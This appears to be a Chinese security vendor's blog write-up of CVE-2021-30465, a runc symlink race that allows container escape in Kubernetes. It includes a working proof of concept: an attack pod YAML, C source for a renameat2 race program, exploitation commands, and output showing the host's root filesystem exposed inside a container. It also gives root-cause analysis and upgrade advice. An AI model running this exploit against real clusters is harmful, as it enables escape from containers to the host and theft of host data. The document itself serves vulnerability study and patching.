北京网安在线

    北京网安在线云安全

    CVE-2021-30465:runc 竞争致 docker 逃逸分析

    发布日期:2022-07-27

    1 漏洞简介

    runc 的主要作用是使用 Linux Kernel 给予的诸如 namespaces,cgroup 等进程隔离机制以及 SELinux 等 security 功能,构建供容器运行的隔离环境,从而保证主机的安全。

    runc 是一个轻量级通用容器运行环境,它允许一个简化的探针到运行和调试的底层容器的功能,不需要整个 docker 守护进程的接口。runc 可面向有安全需求的公司等部署大型 docker 集群,在GitHub上的订阅量为8000+,使用量较大。

    该漏洞是由于挂载卷时,runc 不信任目标参数,并将使用 “filepath-securejoin” 库来解析任何符号链接并确保解析的目标在容器根目录中,但是如果用符号链接替换检查的目标文件时,可以将主机文件挂载到容器中。攻击者可利用该漏洞在未授权的情况下,构造恶意数据造成容器逃逸,最终造成服务器敏感性信息泄露。

    现在受影响的runc版本:runc <= 1.0.0-rc94

    漏洞编号:CVE-2021-30465

    2 漏洞复现

    2.1 环境搭建

    复现环境:

    虚拟机:vmware workstation 16
    linux发行版:Centos 7.4.1708 2个CPU 2G内存
    linux内核(使用uname -r查看):3.10.0-693.el7.x86_64 
    ip(master):192.168.254.212
    Docker:19.03.14
    runc:1.0.0-rc10
    K8S:1.18.12
    

    2.1.1 安装Docker-ce 19.03.14

    # wget http://mirrors.aliyun.com/docker-ce/linux/centos/7/x86_64/stable/Packages/docker-ce-cli-19.03.14-3.el7.x86_64.rpm
    # wget http://mirrors.aliyun.com/docker-ce/linux/centos/7/x86_64/stable/Packages/docker-ce-19.03.14-3.el7.x86_64.rpm
    # wget http://mirrors.aliyun.com/docker-ce/linux/centos/7/x86_64/stable/Packages/containerd.io-1.3.9-3.1.el7.x86_64.rpm
    # yum install container-selinux
    # rpm -i *.rpm
    # systemctl enable docker && systemctl start docker
    
    # docker version
    Client: Docker Engine - Community
     Version:           19.03.14
     API version:       1.40
     Go version:        go1.13.15
     Git commit:        5eb3275d40
     Built:             Tue Dec  1 19:20:42 2020
     OS/Arch:           linux/amd64
     Experimental:      false
    
    Server: Docker Engine - Community
     Engine:
      Version:          19.03.14
      API version:      1.40 (minimum version 1.12)
      Go version:       go1.13.15
      Git commit:       5eb3275d40
      Built:            Tue Dec  1 19:19:17 2020
      OS/Arch:          linux/amd64
      Experimental:     false
     containerd:
      Version:          1.3.9
      GitCommit:        ea765aba0d05254012b0b9e595e995c09186427f
     runc:
      Version:          1.0.0-rc10
      GitCommit:        dc9208a3303feef5b3839f4323d9beb36df0a9dd
     docker-init:
      Version:          0.18.0
      GitCommit:        fec3683
    

    2.1.2 设置k8s环境准备条件

    安装k8s的机器需要2个 CPU 和2g内存以上。然后执行以下脚本做一些准备操作。

    //关闭防火墙
    # systemctl disable firewalld
    # systemctl stop firewalld
    
    //关闭selinux
    //临时禁用selinux
    # setenforce 0
    //永久关闭 修改/etc/sysconfig/selinux文件设置
    # sed -i 's/SELINUX=permissive/SELINUX=disabled/' /etc/sysconfig/selinux
    # sed -i "s/SELINUX=enforcing/SELINUX=disabled/g" /etc/selinux/config
    
    //禁用交换分区
    # swapoff -a
    //永久禁用,打开/etc/fstab注释掉swap那一行。
    # sed -i 's/.*swap.*/#&/' /etc/fstab
    
    //修改内核参数
    # cat <<EOF >  /etc/sysctl.d/k8s.conf
    net.bridge.bridge-nf-call-ip6tables = 1
    net.bridge.bridge-nf-call-iptables = 1
    EOF
    # sysctl --system
    # reboot
    

    2.1.3 安装k8s v1.18.12 master管理节点

    如果还没安装 docker,请参照本文2.1.1 安装Docker-ce 19.03.14

    如果没设置 k8s 环境准备条件,请参照本文2.1.2 设置k8s环境准备条件

    以上两个步骤检查完毕之后,继续以下步骤。

    1.安装 kubeadm、kubelet、kubectl

    由于官方 k8s 源在 google,国内无法访问,这里使用阿里云yum源

    //执行配置k8s阿里云源
    # cat <<EOF > /etc/yum.repos.d/kubernetes.repo
    [kubernetes]
    name=Kubernetes
    baseurl=http://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64/
    enabled=1
    gpgcheck=1
    repo_gpgcheck=1
    gpgkey=http://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg http://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpg
    EOF
    
    //安装kubeadm、kubectl、kubelet
    # yum install -y kubectl-1.18.12-0 kubeadm-1.18.12-0 kubelet-1.18.12-0
    
    //启动kubelet服务
    # systemctl enable kubelet && systemctl start kubelet
    

    2.初始化k8s

    以下这个命令开始安装 k8s 需要用到的 docker 镜像,因为无法访问到国外网站,所以这条命令使用的是国内的阿里云的源(registry.aliyuncs.com/google_containers)。另一个非常重要的是:这里的--apiserver-advertise-address使用的是master和node间能互相ping通的ip,我这里是192.168.254.212。这条命令执行时会卡在[preflight] You can also perform this action in beforehand using ''kubeadm config images pull,大概需要2分钟,请耐心等待。

    //下载管理节点中用到的6个docker镜像,你可以使用docker images查看到
    //这里需要大概两分钟等待,会卡在[preflight] You can also perform this action in beforehand using ''kubeadm config images pull
    
    # kubeadm init --image-repository registry.aliyuncs.com/google_containers --kubernetes-version v1.18.12 --apiserver-advertise-address 192.168.254.212 --pod-network-cidr=10.244.0.0/16 --token-ttl 0
    

    上面安装完后,会提示你输入如下命令,复制粘贴过来,执行即可

    //上面安装完成后,k8s会提示你输入如下命令,执行
    # mkdir -p $HOME/.kube
    # sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
    # sudo chown $(id -u):$(id -g) $HOME/.kube/config
    

    以上,安装master节点完毕。可以使用kubectl get nodes查看一下,此时master处于NotReady状态,暂时不用管。

    # kubectl get nodes
    NAME                    STATUS   ROLES    AGE   VERSION
    localhost.localdomain   NotReady    master   29m   v1.18.12
    

    2.1.4 安装flannel

    1.下载官方flannel配置文件 

    使用wget命令,地址为:(http://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml)

    # wget http://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml
    

    2.安装fannel

    # kubectl apply -f kube-flannel.yml
    

    此时master处于Ready状态

    # kubectl get nodes
    NAME                    STATUS   ROLES    AGE   VERSION
    localhost.localdomain   Ready    master   29m   v1.18.12
    

    2.1.5 让Master也当作Node使用

    出于安全考虑,默认配置下 Kubernetes 不会将 Pod 调度到 Master 节点。

    我们漏洞复现为了方便,这里将让 Master 也当作 Node 使用。

    使用如下命令即可

    # kubectl taint node localhost.localdomain node-role.kubernetes.io/master-
    

    2.2 漏洞复现详情

    2.2.1 创建攻击POD

    # kubectl create -f - <<EOF
    apiVersion: v1
    kind: Pod
    metadata:
        name: attack
    spec:
        terminationGracePeriodSeconds: 1
        containers:
        - name: c1
          image: ubuntu:latest
          command: [ "/bin/sleep", "inf" ]
          env:
          - name: MY_POD_UID
            valueFrom:
              fieldRef:
                fieldPath: metadata.uid 
          volumeMounts:
            - name: test1
              mountPath: /test1
            - name: test2
              mountPath: /test2
    $(for c in {2..20}; do
    cat <<EOC
        - name: c$c
          image: donotexists.com/do/not:exist
          command: [ "/bin/sleep", "inf" ]
          volumeMounts: #容器内挂载点
            - name: test1 #宿主机目录名
              mountPath: /test1 #容器内目录名
            - name: test2
              mountPath: /test1/mnt1
            - name: test2
              mountPath: /test1/mnt2
            - name: test2
              mountPath: /test1/mnt3
            - name: test2
              mountPath: /test1/mnt4
            - name: test2
              mountPath: /test1/zzz
    EOC
    done
    )
        volumes:
          - name: test1 #宿主机目录名
            emptyDir: #宿主机挂载点
              medium: "Memory"
          - name: test2
            emptyDir:
              medium: "Memory"
    EOF
    

    解读一下上面这个 yaml 文件内容,要在这个 pod 里创建20个容器,顺利获得 volumes 项可以看到,这20个容器共享两个目录,一个叫 test1,一个叫 test2。

    对于容器c1,它使用镜像 ubuntu:latest,对于c2-c20,它使用镜像donotexists.com/do/not:exist,这是个不合法的镜像,所以在pod创建后,c2-c20 容器不会成功创建。只有c1会创建成功。

    2.2.2 编译race

    race是运行 renameat2(dir,symlink,RENAME_EXCHANGE) 的简单二进制文件)

    # cat > race.c <<'EOF'
    #define _GNU_SOURCE
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <unistd.h>
    #include <sys/syscall.h>
    #include <linux/fs.h>
    int main(int argc, char *argv[]) {
        if (argc != 4) {
            fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
            exit(EXIT_FAILURE);
        }
        printf(" name1 %s name2 %s linkdest %s \n", argv[1],argv[2],argv[3]);
        char *name1 = argv[1];
        char *name2 = argv[2];
        char *linkdest = argv[3];
    
        int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
        if (dirfd < 0) {
            perror("Error open CWD");
            exit(EXIT_FAILURE);
        }
    
        if (mkdir(name1, 0755) < 0) {
            perror("mkdir failed");
            //do not exit
        }
        if (symlink(linkdest, name2) < 0) {
            perror("symlink failed");
            //do not exit
        }
    
        while (1)
        {
            syscall(SYS_renameat2,dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
        }
    }
    EOF
    
    # gcc race.c -O3 -o race
    

    race程序的功能就是将参数1传进来的文件修改为参数2传进来的文件,在调用renameat2前,会将参数2设置为一个指向参数3传进来目录的软连接。

    2.2.3 等待容器c1启动

    1.将“race”二进制文件上传到c1容器中,然后执行 bash

    # kubectl cp race -c c1 attack:/test1/
    # kubectl exec -ti pod/attack -c c1 -- bash
    

    2.在c1容器内创建以下符号链接(这一步原因会在本文3 漏洞分析中解释)

    root@attack:/# ln -s / /test2/test2
    

    3.在c1容器内多次运行“race”以尝试利用此条件竞争漏洞

    root@attack:/# cd test1
    root@attack:/# seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
     name1 mnt1 name2 mnt-tmp1 linkdest /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/ 
     name1 mnt2 name2 mnt-tmp2 linkdest /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/ 
     name1 mnt3 name2 mnt-tmp3 linkdest /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/ 
     name1 mnt4 name2 mnt-tmp4 linkdest /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/
    

    这里就是不断的将 mntX 修改为 mnt-tmpX,

    而 mnt-tmpX是指向 /var/lib/kubelet/pods/260e7894-84ca-4c73-974e-f10d8b56bad8/volumes/kubernetes.io~empty-dir/目录的软连接。

    2.2.4 更新镜像

    在 master主机内另开一个root shell

    更新镜像

    # for c in {2..20}; do
      kubectl set image pod attack c$c=ubuntu:latest
    done
    

    这里将容器c2-c20的镜像更新为合法的镜像,容器c2-c20会开始一个一个被成功创建。

    2.2.5 逃逸成功

    看看漏洞利用结果,如果漏洞利用成功,容器内的/test1/zzz目录会逃逸到宿主机内

    # for c in {2..20}; do
      echo ~~ Container c$c ~~
      kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
    done
    

    结果如下

    [root@localhost test]# for c in {2..20}; do
    >   echo ~~ Container c$c ~~
    >   kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
    > done
    ~~ Container c2 ~~
    test2
    ~~ Container c3 ~~
    test2
    ~~ Container c4 ~~
    test2
    ~~ Container c5 ~~
    test2
    ~~ Container c6 ~~
    test2
    ~~ Container c7 ~~
    test2
    ~~ Container c8 ~~
    test2
    ~~ Container c9 ~~
    test2
    ~~ Container c10 ~~
    test2
    ~~ Container c11 ~~
    test2
    ~~ Container c12 ~~
    bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
    ~~ Container c13 ~~
    test2
    ~~ Container c14 ~~
    test2
    ~~ Container c15 ~~
    test2
    ~~ Container c16 ~~
    test2
    ~~ Container c17 ~~
    test2
    ~~ Container c18 ~~
    test2
    ~~ Container c19 ~~
    test2
    ~~ Container c20 ~~
    test2
    

    可以看到c12容器逃逸成功了,我们进入c12容器内查看

    # kubectl exec -ti pod/attack -c c12 -- bash
    root@attack:/# ls -al test1/zzz/home/test/
    .ICEauthority     .bash_logout      .bashrc           .config/          .local/           Desktop/          Downloads/        Pictures/         Templates/        kube-flannel.yml  race.c
    .bash_history     .bash_profile     .cache/           .esd_auth         .mozilla/         Documents/        Music/            Public/           Videos/           race              test.yaml
    root@attack:/# ls -al test1/zzz/home/test/Desktop/
    total 93908
    drwxr-xr-x.  2 1000 1000      142 Jun  3 02:20 .
    drwx------. 14 1000 1000     4096 Jun  3 02:33 ..
    -rwxrw-rw-.  1 1000 1000 30381608 Jun  3 02:19 containerd.io-1.3.9-3.1.el7.x86_64.rpm
    -rwxrw-rw-.  1 1000 1000 25519432 Jun  3 02:19 docker-ce-19.03.14-3.el7.x86_64.rpm
    -rwxrw-rw-.  1 1000 1000 40247412 Jun  3 02:20 docker-ce-cli-19.03.14-3.el7.x86_64.rpm
    


    3 漏洞分析

    该漏洞是由于挂载卷时,runc 不信任目标参数,并将使用“filepath-securejoin”库来解析任何符号链接并确保解析的目标在容器根目录中。

    runc 使用“filepath-securejoin库中的SecureJoinVFS函数来解析传进来的路径是否合法,下面是这个函数的描述

    // Note that the guarantees provided by this function only apply if the path
    // components in the returned string are not modified (in other words are not
    // replaced with symlinks on the filesystem) after this function has returned.
    // Such a symlink race is necessarily out-of-scope of SecureJoin.
    func SecureJoinVFS(root, unsafePath string, vfs VFS) (string, error) {
    

    正如描述所言,这里存在竞争条件。:)

    runc 在调用 SecureJoinVFS 函数解析之后会将源目录挂载到校验顺利获得的目标目录中。

    但是如果在调用 SecureJoinVFS 函数解析合法之后,立马用符号链接替换检查的目标文件时,顺利获得精心构造符号链接可以将主机文件目录挂载到容器中。

    4 漏洞利用

    K8S 没有让我们控制挂载源,但我们可以完全控制挂载的目标,所以诀窍是在 K8S 卷路径上挂载一个包含符号链接的目录,让下一个挂载使用这个新源,并且让我们可以访问节点根文件系统。 

    poc中yaml文件中的配置

    volumeMounts:
      - name: test1
        mountPath: /test1
      - name: test2
        mountPath: /test1/mnt1   
      - name: test2
        mountPath: /test1/mnt2
      - name: test2
        mountPath: /test1/mnt3
      - name: test2
        mountPath: /test1/mnt4
      - name: test2
        mountPath: /test1/zzz
    

    可以看到上述配置会陆续在挂载test2到不同的目录。

    runc 执行以下指令时

    mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test1/mntX)
    

    如果我们race程序执行幸运的话,当我们调用时SecureJoin(),mntX是一个目录,当我们调用mount()时,mntX是一个符号链接,这相当于

    mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/)
    

    因为之前ln -s / /test2/test2的关系

    文件系统现在是这样

    /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2 -> /
    

    这里解释一下上面这种变化,本来/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2内部如下

    # ls -al /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2
    /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2/test2 -> /
    

    在进行mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/)操作之后,/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/就相当于成了/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2,中间的一个test2目录被去掉了

    当我们做最后的挂载时

    mount(/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/test2, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)
    

    相当于

    mount(/, /run/containerd/io.containerd.runtime.v2.task/k8s.io/SOMERANDOMID/rootfs/test1/zzz)
    

    一切顺利的话,逃逸成功!

    现在看来只使用docker基本没有攻击场景,需要结合类似k8s这种对容器进行编排的工具才能进行利用。漏洞利用需要多个容器挂载同一个文件卷,现在有的利用方式就是攻击者能控制用户使用攻击者构造的恶意 yaml 文件来生成pod,这样才有机会进行漏洞利用并逃逸到宿主机。

    而且因为是利用竞争条件来进行利用的,有很大概率失败,我本地测试同一个pod里放了20个容器,能成功逃逸一个。

    poc的利用方法是将c2+容器使用的镜像先设置为无效的镜像,待c1内布置好再更新合法的镜像给c2+;如果没有更新镜像的能力,也可以将c2+的镜像设置为很大的镜像或者延迟加载,要做到c1布置好后才进行c2+的容器生成,才有机会进行漏洞利用。

    5 漏洞修复

    5.1 检测组件版本

    终端输入runc -v即可查看版本

    5.2 官方修复建议

    当前官方已发布最新版本,建议受影响的用户及时更新升级到最新版本。链接如下:

    http://github.com/opencontainers/runc/releases/tag/v1.0.0-rc95

    6 参考

    http://blog.champtar.fr/runc-symlink-CVE-2021-30465/

    http://github.com/opencontainers/runc/commit/0ca91f44f1664da834bc61115a849b56d22f595f

    http://github.com/opencontainers/runc/security/advisories/GHSA-c3xm-pvg7-gh7r

    http://github.com/cyphar/filepath-securejoin/blob/40f9fc27fba074f2e2eebb3f74456b4c4939f4da/join.go#L57-L60


    为1000+大型客户,800万+台服务器
    给予稳定高效的安全防护

    预约演示 联系我们
    电话咨询
    售前业务咨询
    400-800-0789转1
    售后业务咨询
    400-800-0789转2
    复制成功
    在线咨询
    扫码咨询
    扫码咨询
    预约演示 下载资料